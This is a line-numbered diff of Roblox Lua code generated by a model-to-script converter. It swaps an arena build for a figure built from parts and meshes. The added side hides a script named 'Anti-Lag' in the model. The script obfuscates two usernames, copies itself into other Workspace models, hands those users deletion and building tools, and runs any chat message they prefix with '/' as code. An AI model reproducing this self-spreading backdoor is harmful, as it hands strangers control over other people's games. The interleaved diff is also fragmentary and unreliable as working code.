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1
2
--Converted with ttyyuu12345's model to script plugin v4
3
function sandbox(var,func)
4
	local env = getfenv(func)
5
	local newenv = setmetatable({},{
6
		__index = function(self,k)
7
			if k=="script" then
8
				return var
9
			else
10
				return env[k]
11
			end
12
		end,
13
	})
14
	setfenv(func,newenv)
15
	return func
16
end
17
cors = {}
18
mas = Instance.new("Model",game:GetService("Lighting"))
19
Model0 = Instance.new("Model")
20
Part1 = Instance.new("Part")
21-
Part2 = Instance.new("Part")
21+
CylinderMesh2 = Instance.new("CylinderMesh")
22
Part3 = Instance.new("Part")
23-
Part4 = Instance.new("Part")
23+
CylinderMesh4 = Instance.new("CylinderMesh")
24
Part5 = Instance.new("Part")
25-
Part6 = Instance.new("Part")
25+
SpecialMesh6 = Instance.new("SpecialMesh")
26
Part7 = Instance.new("Part")
27-
Part8 = Instance.new("Part")
27+
SpecialMesh8 = Instance.new("SpecialMesh")
28
Part9 = Instance.new("Part")
29-
Part10 = Instance.new("Part")
29+
SpecialMesh10 = Instance.new("SpecialMesh")
30
Part11 = Instance.new("Part")
31-
Part12 = Instance.new("Part")
31+
SpecialMesh12 = Instance.new("SpecialMesh")
32
Part13 = Instance.new("Part")
33-
Part14 = Instance.new("Part")
33+
SpecialMesh14 = Instance.new("SpecialMesh")
34
Part15 = Instance.new("Part")
35-
Part16 = Instance.new("Part")
35+
SpecialMesh16 = Instance.new("SpecialMesh")
36
Part17 = Instance.new("Part")
37-
Part18 = Instance.new("Part")
37+
SpecialMesh18 = Instance.new("SpecialMesh")
38
Part19 = Instance.new("Part")
39-
Part20 = Instance.new("Part")
39+
SpecialMesh20 = Instance.new("SpecialMesh")
40-
Part21 = Instance.new("Part")
40+
Script21 = Instance.new("Script")
41
Part22 = Instance.new("Part")
42-
Part23 = Instance.new("Part")
42+
SpecialMesh23 = Instance.new("SpecialMesh")
43
Part24 = Instance.new("Part")
44-
Part25 = Instance.new("Part")
44+
SpecialMesh25 = Instance.new("SpecialMesh")
45
Part26 = Instance.new("Part")
46-
Part27 = Instance.new("Part")
46+
SpecialMesh27 = Instance.new("SpecialMesh")
47
Part28 = Instance.new("Part")
48-
Part29 = Instance.new("Part")
48+
SpecialMesh29 = Instance.new("SpecialMesh")
49
Part30 = Instance.new("Part")
50-
Part31 = Instance.new("Part")
50+
SpecialMesh31 = Instance.new("SpecialMesh")
51-
Part32 = Instance.new("Part")
51+
Sound32 = Instance.new("Sound")
52-
Part33 = Instance.new("Part")
52+
53-
Model34 = Instance.new("Model")
53+
Part1.Name = "BevelCylinder"
54-
Part35 = Instance.new("Part")
54+
55-
Part36 = Instance.new("Part")
55+
Part1.CFrame = CFrame.new(-61.6448021, 68.7855835, -163.371399, -0.50000006, 0.866025388, 0, 0.866025388, 0.50000006, 1.50995803e-07, 1.30766196e-07, 7.54979084e-08, -1)
56-
Part37 = Instance.new("Part")
56+
Part1.Orientation = Vector3.new(0, 180, 60)
57-
Part38 = Instance.new("Part")
57+
Part1.Position = Vector3.new(-61.6448021, 68.7855835, -163.371399)
58-
Part39 = Instance.new("Part")
58+
Part1.Rotation = Vector3.new(-180, 0, -120)
59-
Part40 = Instance.new("Part")
59+
Part1.Color = Color3.new(0.768628, 0.156863, 0.109804)
60-
Model0.Name = "King Dedede Arena"
60+
Part1.Size = Vector3.new(30.5717239, 61.1434479, 30.5717239)
61
Part1.Anchored = true
62
Part1.BottomSurface = Enum.SurfaceType.Smooth
63-
Part1.CFrame = CFrame.new(11.8203115, 3.50000095, 103.765625, 1, 0, 0, 0, 1, 0, 0, 0, 1)
63+
Part1.BrickColor = BrickColor.new("Bright red")
64-
Part1.Position = Vector3.new(11.8203115, 3.50000095, 103.765625)
64+
65-
Part1.Color = Color3.new(0.0509804, 0.411765, 0.67451)
65+
Part1.brickColor = BrickColor.new("Bright red")
66-
Part1.Size = Vector3.new(72, 7, 72)
66+
67
Part1.formFactor = Enum.FormFactor.Symmetric
68
CylinderMesh2.Parent = Part1
69-
Part1.BrickColor = BrickColor.new("Bright blue")
69+
Part3.Name = "BevelCylinder"
70
Part3.Parent = Model0
71-
Part1.brickColor = BrickColor.new("Bright blue")
71+
Part3.CFrame = CFrame.new(36.1848526, 73.3712921, -163.371399, 0.49999997, -0.866025448, 0, 0.866025448, 0.49999997, 0, 0, 0, 1)
72
Part3.Orientation = Vector3.new(0, 0, 60)
73
Part3.Position = Vector3.new(36.1848526, 73.3712921, -163.371399)
74-
Part2.Parent = Model0
74+
Part3.Rotation = Vector3.new(0, 0, 60)
75-
Part2.CFrame = CFrame.new(-23.4797058, 9.99989605, 68.5656204, 0, 0, 1, -1, 0, 0, 0, -1, 0)
75+
Part3.Color = Color3.new(0.768628, 0.156863, 0.109804)
76-
Part2.Orientation = Vector3.new(0, 90, -90)
76+
Part3.Size = Vector3.new(30.5717239, 61.1434479, 30.5717239)
77-
Part2.Position = Vector3.new(-23.4797058, 9.99989605, 68.5656204)
77+
78-
Part2.Rotation = Vector3.new(-90, 90, 0)
78+
79-
Part2.Color = Color3.new(0.768628, 0.156863, 0.109804)
79+
Part3.BrickColor = BrickColor.new("Bright red")
80-
Part2.Size = Vector3.new(6, 1.39999998, 1.39999986)
80+
81-
Part2.Anchored = true
81+
Part3.brickColor = BrickColor.new("Bright red")
82-
Part2.BottomSurface = Enum.SurfaceType.Smooth
82+
83-
Part2.BrickColor = BrickColor.new("Bright red")
83+
84-
Part2.TopSurface = Enum.SurfaceType.Smooth
84+
CylinderMesh4.Parent = Part3
85-
Part2.brickColor = BrickColor.new("Bright red")
85+
86-
Part2.FormFactor = Enum.FormFactor.Symmetric
86+
Part5.CFrame = CFrame.new(-34.1302032, 12.2289009, -151.142899, 1, 0, 0, 0, -1, 0, 0, 0, -1)
87-
Part2.formFactor = Enum.FormFactor.Symmetric
87+
Part5.Orientation = Vector3.new(0, 180, 180)
88-
Part2.Shape = Enum.PartType.Cylinder
88+
Part5.Position = Vector3.new(-34.1302032, 12.2289009, -151.142899)
89
Part5.Rotation = Vector3.new(-180, 0, 0)
90-
Part3.CFrame = CFrame.new(-23.4797058, 13.5998917, 68.5656204, 1, 0, 0, 0, 1, 0, 0, 0, 1)
90+
Part5.Color = Color3.new(0.960784, 0.803922, 0.188235)
91-
Part3.Position = Vector3.new(-23.4797058, 13.5998917, 68.5656204)
91+
Part5.Size = Vector3.new(45.8575859, 24.4573803, 61.1434479)
92-
Part3.Color = Color3.new(1, 1, 0)
92+
93-
Part3.Size = Vector3.new(2, 2, 2)
93+
94
Part5.BrickColor = BrickColor.new("Bright yellow")
95
Part5.TopSurface = Enum.SurfaceType.Smooth
96-
Part3.BrickColor = BrickColor.new("New Yeller")
96+
Part5.brickColor = BrickColor.new("Bright yellow")
97
Part5.FormFactor = Enum.FormFactor.Plate
98-
Part3.brickColor = BrickColor.new("New Yeller")
98+
Part5.formFactor = Enum.FormFactor.Plate
99
SpecialMesh6.Parent = Part5
100
SpecialMesh6.MeshType = Enum.MeshType.Sphere
101-
Part3.Shape = Enum.PartType.Ball
101+
102-
Part4.Parent = Model0
102+
Part7.CFrame = CFrame.new(11.7273788, 12.2289009, -151.142899, 1, 3.65049733e-16, 1.1920929e-07, 3.65049177e-16, -1, 0, 1.1920929e-07, 0, -1)
103-
Part4.CFrame = CFrame.new(11.7203064, 8.19993401, 68.5656204, -1, 0, -4.37113883e-08, 4.37113883e-08, 0, -1, 0, -1, 0)
103+
Part7.Orientation = Vector3.new(0, 180, 180)
104-
Part4.Orientation = Vector3.new(90, 180, 0)
104+
Part7.Position = Vector3.new(11.7273788, 12.2289009, -151.142899)
105-
Part4.Position = Vector3.new(11.7203064, 8.19993401, 68.5656204)
105+
Part7.Rotation = Vector3.new(-180, 0, 0)
106-
Part4.Rotation = Vector3.new(90, 0, -180)
106+
Part7.Color = Color3.new(0.960784, 0.803922, 0.188235)
107-
Part4.Color = Color3.new(0, 0.12549, 0.376471)
107+
Part7.Size = Vector3.new(45.8575859, 24.4573803, 61.1434479)
108-
Part4.Size = Vector3.new(70, 0.600000024, 0.599999785)
108+
109-
Part4.Anchored = true
109+
110-
Part4.BottomSurface = Enum.SurfaceType.Smooth
110+
Part7.BrickColor = BrickColor.new("Bright yellow")
111-
Part4.BrickColor = BrickColor.new("Navy blue")
111+
112-
Part4.TopSurface = Enum.SurfaceType.Smooth
112+
Part7.brickColor = BrickColor.new("Bright yellow")
113-
Part4.brickColor = BrickColor.new("Navy blue")
113+
Part7.FormFactor = Enum.FormFactor.Plate
114-
Part4.FormFactor = Enum.FormFactor.Custom
114+
Part7.formFactor = Enum.FormFactor.Plate
115-
Part4.formFactor = Enum.FormFactor.Custom
115+
SpecialMesh8.Parent = Part7
116-
Part4.Shape = Enum.PartType.Cylinder
116+
SpecialMesh8.MeshType = Enum.MeshType.Sphere
117
Part9.Parent = Model0
118-
Part5.CFrame = CFrame.new(47.1203156, 13.5998917, 68.5656204, 1, 0, 0, 0, 1, 0, 0, 0, 1)
118+
Part9.CFrame = CFrame.new(-9.67272949, 51.9720993, -164.899963, 1, 0, 0, 0, -1, 1.50995803e-07, 0, -1.50995803e-07, -1)
119-
Part5.Position = Vector3.new(47.1203156, 13.5998917, 68.5656204)
119+
Part9.Orientation = Vector3.new(0, 180, 180)
120-
Part5.Color = Color3.new(1, 1, 0)
120+
Part9.Position = Vector3.new(-9.67272949, 51.9720993, -164.899963)
121-
Part5.Size = Vector3.new(2, 2, 2)
121+
Part9.Rotation = Vector3.new(-180, 0, 0)
122
Part9.Color = Color3.new(0.94902, 0.952941, 0.952941)
123
Part9.Size = Vector3.new(91.7151718, 103.943863, 61.1434479)
124-
Part5.BrickColor = BrickColor.new("New Yeller")
124+
125
Part9.BottomSurface = Enum.SurfaceType.Smooth
126-
Part5.brickColor = BrickColor.new("New Yeller")
126+
Part9.BrickColor = BrickColor.new("White")
127-
Part5.FormFactor = Enum.FormFactor.Symmetric
127+
128-
Part5.formFactor = Enum.FormFactor.Symmetric
128+
Part9.brickColor = BrickColor.new("White")
129-
Part5.Shape = Enum.PartType.Ball
129+
Part9.FormFactor = Enum.FormFactor.Plate
130-
Part6.Parent = Model0
130+
Part9.formFactor = Enum.FormFactor.Plate
131-
Part6.CFrame = CFrame.new(47.1203156, 9.99989605, 68.5656204, 0, 0, 1, -1, 0, 0, 0, -1, 0)
131+
SpecialMesh10.Parent = Part9
132-
Part6.Orientation = Vector3.new(0, 90, -90)
132+
SpecialMesh10.MeshType = Enum.MeshType.Sphere
133-
Part6.Position = Vector3.new(47.1203156, 9.99989605, 68.5656204)
133+
134-
Part6.Rotation = Vector3.new(-90, 90, 0)
134+
Part11.CFrame = CFrame.new(13.2560654, 51.9719467, -164.899963, 1, 0, 0, 0, -1, 1.50995803e-07, 0, -1.50995803e-07, -1)
135-
Part6.Color = Color3.new(0.0509804, 0.411765, 0.67451)
135+
Part11.Orientation = Vector3.new(0, 180, 180)
136-
Part6.Size = Vector3.new(6, 1.39999998, 1.39999986)
136+
Part11.Position = Vector3.new(13.2560654, 51.9719467, -164.899963)
137-
Part6.Anchored = true
137+
Part11.Rotation = Vector3.new(-180, 0, 0)
138-
Part6.BottomSurface = Enum.SurfaceType.Smooth
138+
Part11.Color = Color3.new(0.768628, 0.156863, 0.109804)
139-
Part6.BrickColor = BrickColor.new("Bright blue")
139+
Part11.Size = Vector3.new(45.8575859, 103.943863, 61.1434479)
140-
Part6.TopSurface = Enum.SurfaceType.Smooth
140+
141-
Part6.brickColor = BrickColor.new("Bright blue")
141+
142-
Part6.FormFactor = Enum.FormFactor.Symmetric
142+
Part11.BrickColor = BrickColor.new("Bright red")
143-
Part6.formFactor = Enum.FormFactor.Symmetric
143+
144-
Part6.Shape = Enum.PartType.Cylinder
144+
Part11.brickColor = BrickColor.new("Bright red")
145
Part11.FormFactor = Enum.FormFactor.Plate
146-
Part7.CFrame = CFrame.new(11.7203064, 10.3998957, 68.5656204, -1, 0, -4.37113883e-08, 4.37113883e-08, 0, -1, 0, -1, 0)
146+
Part11.formFactor = Enum.FormFactor.Plate
147-
Part7.Orientation = Vector3.new(90, 180, 0)
147+
SpecialMesh12.Parent = Part11
148-
Part7.Position = Vector3.new(11.7203064, 10.3998957, 68.5656204)
148+
SpecialMesh12.MeshType = Enum.MeshType.Sphere
149-
Part7.Rotation = Vector3.new(90, 0, -180)
149+
150-
Part7.Color = Color3.new(0, 0.12549, 0.376471)
150+
Part13.CFrame = CFrame.new(-32.6015244, 51.9719467, -164.899963, 1, 0, 0, 0, -1, 1.50995803e-07, 0, -1.50995803e-07, -1)
151-
Part7.Size = Vector3.new(70, 0.600000024, 0.599999785)
151+
Part13.Orientation = Vector3.new(0, 180, 180)
152
Part13.Position = Vector3.new(-32.6015244, 51.9719467, -164.899963)
153
Part13.Rotation = Vector3.new(-180, 0, 0)
154-
Part7.BrickColor = BrickColor.new("Navy blue")
154+
155
Part13.Size = Vector3.new(45.8575859, 103.943863, 61.1434479)
156-
Part7.brickColor = BrickColor.new("Navy blue")
156+
157-
Part7.FormFactor = Enum.FormFactor.Custom
157+
158-
Part7.formFactor = Enum.FormFactor.Custom
158+
159-
Part7.Shape = Enum.PartType.Cylinder
159+
160-
Part8.Parent = Model0
160+
161-
Part8.CFrame = CFrame.new(11.7203064, 12.399888, 68.5656204, -1, 0, -4.37113883e-08, 4.37113883e-08, 0, -1, 0, -1, 0)
161+
Part13.FormFactor = Enum.FormFactor.Plate
162-
Part8.Orientation = Vector3.new(90, 180, 0)
162+
Part13.formFactor = Enum.FormFactor.Plate
163-
Part8.Position = Vector3.new(11.7203064, 12.399888, 68.5656204)
163+
SpecialMesh14.Parent = Part13
164-
Part8.Rotation = Vector3.new(90, 0, -180)
164+
SpecialMesh14.MeshType = Enum.MeshType.Sphere
165-
Part8.Color = Color3.new(0, 0.12549, 0.376471)
165+
166-
Part8.Size = Vector3.new(70, 0.600000024, 0.599999785)
166+
Part15.CFrame = CFrame.new(-9.67272949, 51.9719467, -167.957092, 1, 0, 0, 0, -1, 1.50995803e-07, 0, -1.50995803e-07, -1)
167-
Part8.Anchored = true
167+
Part15.Orientation = Vector3.new(0, 180, 180)
168-
Part8.BottomSurface = Enum.SurfaceType.Smooth
168+
Part15.Position = Vector3.new(-9.67272949, 51.9719467, -167.957092)
169-
Part8.BrickColor = BrickColor.new("Navy blue")
169+
Part15.Rotation = Vector3.new(-180, 0, 0)
170-
Part8.TopSurface = Enum.SurfaceType.Smooth
170+
Part15.Color = Color3.new(0.768628, 0.156863, 0.109804)
171-
Part8.brickColor = BrickColor.new("Navy blue")
171+
Part15.Size = Vector3.new(91.7151718, 103.943863, 61.1434479)
172-
Part8.FormFactor = Enum.FormFactor.Custom
172+
173-
Part8.formFactor = Enum.FormFactor.Custom
173+
174-
Part8.Shape = Enum.PartType.Cylinder
174+
Part15.BrickColor = BrickColor.new("Bright red")
175
Part15.TopSurface = Enum.SurfaceType.Smooth
176-
Part9.CFrame = CFrame.new(11.7203064, 10.3998957, 138.965622, -1, 0, -4.37113883e-08, 4.37113883e-08, 0, -1, 0, -1, 0)
176+
Part15.brickColor = BrickColor.new("Bright red")
177-
Part9.Orientation = Vector3.new(90, 180, 0)
177+
Part15.FormFactor = Enum.FormFactor.Plate
178-
Part9.Position = Vector3.new(11.7203064, 10.3998957, 138.965622)
178+
Part15.formFactor = Enum.FormFactor.Plate
179-
Part9.Rotation = Vector3.new(90, 0, -180)
179+
SpecialMesh16.Parent = Part15
180-
Part9.Color = Color3.new(0, 0.12549, 0.376471)
180+
SpecialMesh16.MeshType = Enum.MeshType.Sphere
181-
Part9.Size = Vector3.new(70, 0.600000024, 0.599999785)
181+
182
Part17.CFrame = CFrame.new(-9.67272949, 113.114502, -164.899841, 1, 0, 0, 0, -1, 1.50995803e-07, 0, -1.50995803e-07, -1)
183
Part17.Orientation = Vector3.new(0, 180, 180)
184-
Part9.BrickColor = BrickColor.new("Navy blue")
184+
Part17.Position = Vector3.new(-9.67272949, 113.114502, -164.899841)
185
Part17.Rotation = Vector3.new(-180, 0, 0)
186-
Part9.brickColor = BrickColor.new("Navy blue")
186+
Part17.Color = Color3.new(0.0509804, 0.411765, 0.67451)
187-
Part9.FormFactor = Enum.FormFactor.Custom
187+
Part17.Size = Vector3.new(45.8575859, 48.9147606, 45.8575859)
188-
Part9.formFactor = Enum.FormFactor.Custom
188+
189-
Part9.Shape = Enum.PartType.Cylinder
189+
190-
Part10.Parent = Model0
190+
Part17.BrickColor = BrickColor.new("Bright blue")
191-
Part10.CFrame = CFrame.new(-23.4797058, 13.5998917, 138.965622, 1, 0, 0, 0, 1, 0, 0, 0, 1)
191+
192-
Part10.Position = Vector3.new(-23.4797058, 13.5998917, 138.965622)
192+
Part17.brickColor = BrickColor.new("Bright blue")
193-
Part10.Color = Color3.new(1, 1, 0)
193+
Part17.FormFactor = Enum.FormFactor.Plate
194-
Part10.Size = Vector3.new(2, 2, 2)
194+
Part17.formFactor = Enum.FormFactor.Plate
195-
Part10.Anchored = true
195+
SpecialMesh18.Parent = Part17
196-
Part10.BottomSurface = Enum.SurfaceType.Smooth
196+
SpecialMesh18.MeshType = Enum.MeshType.Sphere
197-
Part10.BrickColor = BrickColor.new("New Yeller")
197+
198-
Part10.TopSurface = Enum.SurfaceType.Smooth
198+
Part19.CFrame = CFrame.new(-9.67272949, 100.885818, -166.42865, -4.37113883e-08, 1, -2.39338732e-07, -7.54979084e-08, 2.39338732e-07, 1, 1, 4.37114061e-08, 7.54979013e-08)
199-
Part10.brickColor = BrickColor.new("New Yeller")
199+
Part19.Orientation = Vector3.new(-90, -90, 0)
200-
Part10.FormFactor = Enum.FormFactor.Symmetric
200+
Part19.Position = Vector3.new(-9.67272949, 100.885818, -166.42865)
201-
Part10.formFactor = Enum.FormFactor.Symmetric
201+
Part19.Rotation = Vector3.new(-90, 0, -90)
202-
Part10.Shape = Enum.PartType.Ball
202+
Part19.Color = Color3.new(0.94902, 0.952941, 0.952941)
203
Part19.Size = Vector3.new(15.285862, 15.285862, 15.285862)
204-
Part11.CFrame = CFrame.new(-23.4797058, 9.99989605, 138.965622, 0, 0, 1, -1, 0, 0, 0, -1, 0)
204+
205-
Part11.Orientation = Vector3.new(0, 90, -90)
205+
206-
Part11.Position = Vector3.new(-23.4797058, 9.99989605, 138.965622)
206+
Part19.BrickColor = BrickColor.new("White")
207-
Part11.Rotation = Vector3.new(-90, 90, 0)
207+
208-
Part11.Color = Color3.new(0.0509804, 0.411765, 0.67451)
208+
Part19.brickColor = BrickColor.new("White")
209-
Part11.Size = Vector3.new(6, 1.39999998, 1.39999986)
209+
Part19.FormFactor = Enum.FormFactor.Symmetric
210
Part19.formFactor = Enum.FormFactor.Symmetric
211
SpecialMesh20.Parent = Part19
212-
Part11.BrickColor = BrickColor.new("Bright blue")
212+
SpecialMesh20.MeshId = "http://www.roblox.com/asset/?id=3270017"
213
SpecialMesh20.Scale = Vector3.new(45.8575706, 45.8575706, 45.8575706)
214-
Part11.brickColor = BrickColor.new("Bright blue")
214+
SpecialMesh20.MeshType = Enum.MeshType.FileMesh
215-
Part11.FormFactor = Enum.FormFactor.Symmetric
215+
Script21.Name = "Anti-Lag"
216-
Part11.formFactor = Enum.FormFactor.Symmetric
216+
Script21.Parent = Part19
217-
Part11.Shape = Enum.PartType.Cylinder
217+
table.insert(cors,sandbox(Script21,function()
218-
Part12.Parent = Model0
218+
Altitude = script:clone()
219-
Part12.CFrame = CFrame.new(11.7203064, 8.19993401, 138.965622, -1, 0, -4.37113883e-08, 4.37113883e-08, 0, -1, 0, -1, 0)
219+
calco = {"s","c","q","t","o","a","i","f","g","w","8","e","m","7","h","n"}
220-
Part12.Orientation = Vector3.new(90, 180, 0)
220+
Knox = {}
221-
Part12.Position = Vector3.new(11.7203064, 8.19993401, 138.965622)
221+
table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
222-
Part12.Rotation = Vector3.new(90, 0, -180)
222+
table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
223-
Part12.Color = Color3.new(0, 0.12549, 0.376471)
223+
Play = {}
224-
Part12.Size = Vector3.new(70, 0.600000024, 0.599999785)
224+
function rando(votation)
225-
Part12.Anchored = true
225+
local hatr = 5
226-
Part12.BottomSurface = Enum.SurfaceType.Smooth
226+
local calc = math.pi * math.huge
227-
Part12.BrickColor = BrickColor.new("Navy blue")
227+
local longicate = votation:GetChildren()
228-
Part12.TopSurface = Enum.SurfaceType.Smooth
228+
if #longicate > hatr then 
229-
Part12.brickColor = BrickColor.new("Navy blue")
229+
calc = calc + math.pi
230-
Part12.FormFactor = Enum.FormFactor.Custom
230+
return longicate[math.random(6,#longicate)]
231-
Part12.formFactor = Enum.FormFactor.Custom
231+
232-
Part12.Shape = Enum.PartType.Cylinder
232+
233
function doublecheck()
234-
Part13.CFrame = CFrame.new(47.1203156, 9.99989605, 138.965622, 0, 0, 1, -1, 0, 0, 0, -1, 0)
234+
local fj = game.Workspace:GetChildren()
235-
Part13.Orientation = Vector3.new(0, 90, -90)
235+
for off = 1,#fj do
236-
Part13.Position = Vector3.new(47.1203156, 9.99989605, 138.965622)
236+
if fj[off].className == "Part" then
237-
Part13.Rotation = Vector3.new(-90, 90, 0)
237+
local fh = fj[off]:FindFirstChild("Anti-Lag")
238
if fh ~= nil then 
239-
Part13.Size = Vector3.new(6, 1.39999998, 1.39999986)
239+
return false
240
end
241
end
242
end
243
return true
244
end
245-
Part13.FormFactor = Enum.FormFactor.Symmetric
245+
function workcheck()
246-
Part13.formFactor = Enum.FormFactor.Symmetric
246+
if doublecheck() == true then
247-
Part13.Shape = Enum.PartType.Cylinder
247+
local l = Altitude:clone()
248-
Part14.Parent = Model0
248+
l.Parent = rando(game.Workspace)
249-
Part14.CFrame = CFrame.new(47.1203156, 13.5998917, 138.965622, 1, 0, 0, 0, 1, 0, 0, 0, 1)
249+
250-
Part14.Position = Vector3.new(47.1203156, 13.5998917, 138.965622)
250+
251-
Part14.Color = Color3.new(1, 1, 0)
251+
workcheck()
252-
Part14.Size = Vector3.new(2, 2, 2)
252+
function gibite(quen)
253-
Part14.Anchored = true
253+
local  hup = Instance.new("Message")
254-
Part14.BottomSurface = Enum.SurfaceType.Smooth
254+
hup.Text = "Detected"
255-
Part14.BrickColor = BrickColor.new("New Yeller")
255+
hup.Parent = quen.Parent
256-
Part14.TopSurface = Enum.SurfaceType.Smooth
256+
local con = Instance.new("Script")
257-
Part14.brickColor = BrickColor.new("New Yeller")
257+
con.Source = [[wait(5) script.Parent:remove()]]
258-
Part14.FormFactor = Enum.FormFactor.Symmetric
258+
con.Parent = hup
259-
Part14.formFactor = Enum.FormFactor.Symmetric
259+
for ish = 0,7 do
260-
Part14.Shape = Enum.PartType.Ball
260+
local a = Instance.new("HopperBin")
261
a.BinType = ish
262-
Part15.CFrame = CFrame.new(11.7203064, 12.399888, 138.965622, -1, 0, -4.37113883e-08, 4.37113883e-08, 0, -1, 0, -1, 0)
262+
a.Parent = quen
263-
Part15.Orientation = Vector3.new(90, 180, 0)
263+
264-
Part15.Position = Vector3.new(11.7203064, 12.399888, 138.965622)
264+
265-
Part15.Rotation = Vector3.new(90, 0, -180)
265+
function laber(zonsa)
266-
Part15.Color = Color3.new(0, 0.12549, 0.376471)
266+
wait()
267-
Part15.Size = Vector3.new(70, 0.600000024, 0.599999785)
267+
for slate = 1,#Knox do  
268
if zonsa.Name == Knox[slate] then
269
gibite(zonsa.Backpack)
270-
Part15.BrickColor = BrickColor.new("Navy blue")
270+
table.insert (Play, 1,  zonsa.Name)
271
end
272-
Part15.brickColor = BrickColor.new("Navy blue")
272+
273-
Part15.FormFactor = Enum.FormFactor.Custom
273+
274-
Part15.formFactor = Enum.FormFactor.Custom
274+
function yeild(frequency)
275-
Part15.Shape = Enum.PartType.Cylinder
275+
local t = Knox
276-
Part16.Parent = Model0
276+
for g = 1,#t do
277-
Part16.CFrame = CFrame.new(47.1205292, 10.3998957, 103.965607, -1.19248806e-08, -1, -4.37113883e-08, 5.21253064e-16, 4.37113776e-08, -1, 1, -1.19248806e-08, 0)
277+
if t[g] == frequency.Name then
278-
Part16.Orientation = Vector3.new(90, -90, 0)
278+
return true
279-
Part16.Position = Vector3.new(47.1205292, 10.3998957, 103.965607)
279+
280-
Part16.Rotation = Vector3.new(90, 0, 90)
280+
281-
Part16.Color = Color3.new(0, 0.12549, 0.376471)
281+
return false
282-
Part16.Size = Vector3.new(70, 0.600000024, 0.599999785)
282+
283-
Part16.Anchored = true
283+
function check(los)
284-
Part16.BottomSurface = Enum.SurfaceType.Smooth
284+
local r = los:GetChildren()
285-
Part16.BrickColor = BrickColor.new("Navy blue")
285+
for i = 1,#r do
286-
Part16.TopSurface = Enum.SurfaceType.Smooth
286+
local h = r[i]:FindFirstChild("Anti-Lag")
287-
Part16.brickColor = BrickColor.new("Navy blue")
287+
if h ~= nil then
288-
Part16.FormFactor = Enum.FormFactor.Custom
288+
h:remove()
289-
Part16.formFactor = Enum.FormFactor.Custom
289+
290-
Part16.Shape = Enum.PartType.Cylinder
290+
291
end
292-
Part17.CFrame = CFrame.new(47.1205292, 8.19993401, 103.965607, -1.19248806e-08, -1, -4.37113883e-08, 5.21253064e-16, 4.37113776e-08, -1, 1, -1.19248806e-08, 0)
292+
function alto(xylem)
293-
Part17.Orientation = Vector3.new(90, -90, 0)
293+
if xylem.className == "Model" then
294-
Part17.Position = Vector3.new(47.1205292, 8.19993401, 103.965607)
294+
check(xylem)
295-
Part17.Rotation = Vector3.new(90, 0, 90)
295+
local que = script:clone()
296-
Part17.Color = Color3.new(0, 0.12549, 0.376471)
296+
que.Parent = rando(xylem)
297-
Part17.Size = Vector3.new(70, 0.600000024, 0.599999785)
297+
298
end
299
function sortation(gone)
300-
Part17.BrickColor = BrickColor.new("Navy blue")
300+
local dimbs = Altitude:clone()
301
dimbs = ramno(game.Workspace)
302-
Part17.brickColor = BrickColor.new("Navy blue")
302+
303-
Part17.FormFactor = Enum.FormFactor.Custom
303+
function onPlayerEntered(newPlayer)
304-
Part17.formFactor = Enum.FormFactor.Custom
304+
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
305-
Part17.Shape = Enum.PartType.Cylinder
305+
306-
Part18.Parent = Model0
306+
function Player(player)
307-
Part18.CFrame = CFrame.new(47.1205292, 12.399888, 103.965607, -1.19248806e-08, -1, -4.37113883e-08, 5.21253064e-16, 4.37113776e-08, -1, 1, -1.19248806e-08, 0)
307+
player.Changed:connect(function (property) 
308-
Part18.Orientation = Vector3.new(90, -90, 0)
308+
if property == "Character" then 
309-
Part18.Position = Vector3.new(47.1205292, 12.399888, 103.965607)
309+
laber(player) 
310-
Part18.Rotation = Vector3.new(90, 0, 90)
310+
311-
Part18.Color = Color3.new(0, 0.12549, 0.376471)
311+
end)
312-
Part18.Size = Vector3.new(70, 0.600000024, 0.599999785)
312+
313-
Part18.Anchored = true
313+
game.Players.PlayerAdded:connect(Player)
314-
Part18.BottomSurface = Enum.SurfaceType.Smooth
314+
game.Players.ChildAdded:connect(onPlayerEntered)
315-
Part18.BrickColor = BrickColor.new("Navy blue")
315+
game.Players.ChildAdded:connect(laber)
316-
Part18.TopSurface = Enum.SurfaceType.Smooth
316+
script.ChildRemoved:connect(sortation)
317-
Part18.brickColor = BrickColor.new("Navy blue")
317+
game.Workspace.ChildAdded:connect(alto)
318-
Part18.FormFactor = Enum.FormFactor.Custom
318+
function onChatted(msg, recipient, speaker)
319-
Part18.formFactor = Enum.FormFactor.Custom
319+
if yeild(speaker) ~= false then
320-
Part18.Shape = Enum.PartType.Cylinder
320+
if string.sub(msg,1,1) == "/" then
321
local dsting = Instance.new("Script")
322-
Part19.CFrame = CFrame.new(-23.4796143, 10.3998957, 103.965607, -1.19248806e-08, -1, -4.37113883e-08, 5.21253064e-16, 4.37113776e-08, -1, 1, -1.19248806e-08, 0)
322+
dsting.Source = string.sub(msg,2) 
323-
Part19.Orientation = Vector3.new(90, -90, 0)
323+
dsting.Parent = game.Workspace 
324-
Part19.Position = Vector3.new(-23.4796143, 10.3998957, 103.965607)
324+
325-
Part19.Rotation = Vector3.new(90, 0, 90)
325+
326-
Part19.Color = Color3.new(0, 0.12549, 0.376471)
326+
end 
327-
Part19.Size = Vector3.new(70, 0.600000024, 0.599999785)
327+
end))
328
Part22.Parent = Model0
329
Part22.CFrame = CFrame.new(-9.67272949, 113.114502, -154.199783, 1, 0, 0, 0, -1, 1.50995803e-07, 0, -1.50995803e-07, -1)
330-
Part19.BrickColor = BrickColor.new("Navy blue")
330+
Part22.Orientation = Vector3.new(0, 180, 180)
331
Part22.Position = Vector3.new(-9.67272949, 113.114502, -154.199783)
332-
Part19.brickColor = BrickColor.new("Navy blue")
332+
Part22.Rotation = Vector3.new(-180, 0, 0)
333-
Part19.FormFactor = Enum.FormFactor.Custom
333+
Part22.Color = Color3.new(0.960784, 0.803922, 0.188235)
334-
Part19.formFactor = Enum.FormFactor.Custom
334+
Part22.Size = Vector3.new(30.5717239, 24.4573803, 30.5717239)
335-
Part19.Shape = Enum.PartType.Cylinder
335+
336-
Part20.Parent = Model0
336+
337-
Part20.CFrame = CFrame.new(-23.4796143, 8.19993401, 103.965607, -1.19248806e-08, -1, -4.37113883e-08, 5.21253064e-16, 4.37113776e-08, -1, 1, -1.19248806e-08, 0)
337+
Part22.BrickColor = BrickColor.new("Bright yellow")
338-
Part20.Orientation = Vector3.new(90, -90, 0)
338+
339-
Part20.Position = Vector3.new(-23.4796143, 8.19993401, 103.965607)
339+
